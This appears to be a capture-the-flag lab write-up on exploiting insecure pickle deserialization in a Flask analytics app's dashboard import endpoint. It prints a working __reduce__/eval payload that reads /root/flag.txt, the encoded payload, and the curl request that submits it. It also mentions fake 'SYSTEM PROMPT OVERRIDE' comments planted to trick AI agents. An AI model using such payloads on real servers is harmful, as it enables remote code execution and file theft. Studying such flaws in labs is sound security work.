Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import
Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: base64_payload_encoding, decoy_flag_avoidance, dict_format_matching, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method
Summary
Walkthrough of the CUSTOM Web Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import. Task: Flask analytics platform imports dashboard configs in .mfx format (base64-encoded pickle) via POST /dashboards/import without validation. Solution: craft malicious pickle with reduce returni
Description
MetricFlow is a real-time analytics dashboard platform built by FlowData Inc. Data teams use it to create custom dashboards with various chart widgets, track KPIs, manage datasets, and generate reports. The platform supports importing and exporting dashboard configurations in its proprietary MetricFlow Exchange (.mfx) format for easy sharing between team members.
You have been given access to a test account on the platform. Explore the application, understand how dashboard configurations are stored and transferred, and find a vulnerability that allows you to read sensitive files from the server.
English summary: A Flask-based analytics dashboard platform uses Python pickle serialization for its dashboard import/export feature. The import endpoint deserializes user-supplied data with pickle.loads() without any validation, enabling arbitrary code execution on the server.
Analysis
Reconnaissance
The target is MetricFlow Analytics Platform v2.1.4, a Flask/Python web application. After logging in with provided credentials (alex.morgan@company.com / password123), the application presents pages for Overview, Dashboards, Reports, Datasets, and Settings.
Decoy flag detection: The HTML source on every page contains honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and fake "SYSTEM PROMPT OVERRIDE" comments designed to trick AI agents and automated scanners. These are not the real flag.
Dashboard Import/Export Discovery
The /dashboards page has two critical features:
- Export: Each dashboard has an export button linking to
/dashboards/{id}/export— downloads a.mfxfile with headerX-Export-Format: MetricFlow Exchange v2.1 - Import: An "Import" button opens a modal with
POST /dashboards/import— accepts base64 data via animport_datatextarea field
Format Analysis
Exporting a dashboard produces a .mfx file containing base64-encoded data. The base64 starts with gASV, which decodes to \x80\x04\x95 — the Python pickle protocol 4 header. Decoding and unpickling reveals a Python dict:
python read-only • copy allowed{ 'name': 'Dashboard Name', 'description': 'Description text', 'widgets': [...], 'exported_at': '2026-05-14T...', 'version': '2.1' }
The .mfx format is simply base64-encoded pickle with no signature, no HMAC, and no validation whatsoever.
Vulnerability
The import endpoint deserializes user-supplied base64-decoded data directly with pickle.loads(). Python's pickle module is inherently unsafe on untrusted input — the __reduce__ method on a class allows specifying an arbitrary callable and arguments that get executed during deserialization. This gives the attacker arbitrary code execution on the server.
Solution
Attempt 1: Simple string return (FAILED)
First payload used subprocess.check_output() returning a string directly:
python read-only • copy allowedclass RCE: def __reduce__(self): return (subprocess.check_output, (['id'],))
The server returned error: 'str' object has no attribute 'get' — the application calls .get() on the deserialized object to extract dashboard fields, so it must be a dict.
Attempt 2: Dict-returning payload (SUCCESS)
Adjusted the payload to return a dict matching the expected dashboard config format, embedding the command output in the name field:
python read-only • copy allowed#!/usr/bin/env python3 import pickle, base64 class RCE: def __reduce__(self): return (eval, ( "{'name': __import__('subprocess').check_output(" "['cat', '/root/flag.txt']).decode(), " "'description': 'x', 'widgets': []}", )) payload = pickle.dumps(RCE()) encoded = base64.b64encode(payload).decode() print(encoded)
The key insight is using eval() as the callable, which evaluates a Python expression that:
- Calls
subprocess.check_output(['cat', '/root/flag.txt'])to read the flag - Wraps the output in a dict with
name,description, andwidgetskeys - Returns the dict, satisfying the application's schema expectations
Submitting the payload
bash read-only • copy allowedcurl -s -b "$COOKIE" -X POST "$BASE/dashboards/import" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "import_data=gAWVkgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIx2eyduYW1lJzogX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsICcvcm9vdC9mbGFnLnR4dCddKS5kZWNvZGUoKSwgJ2Rlc2NyaXB0aW9uJzogJ3gnLCAnd2lkZ2V0cyc6IFtdfZSFlFKULg=="
The server deserialized the pickle, executed the __reduce__ method, and created a new dashboard with the flag as its name. The success flash message on redirect revealed:
Dashboard "FLAG{REDACTED}" imported successfully
Server enumeration via RCE
Additional commands confirmed the environment:
ls -la /— Docker container (.dockerenvpresent), Alpine Linuxfind / -name 'flag*' -type f— flag at/root/flag.txt
Key Takeaways / Lessons
- Mastering base64_payload_encoding, decoy_flag_avoidance, dict_format_matching, insecure_pickle_deserialization, python_eval_execution, rce_via_reduce_method was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 168 — MetricFlow — Insecure Deserialization via Dashboard Import • Difficulty: Medium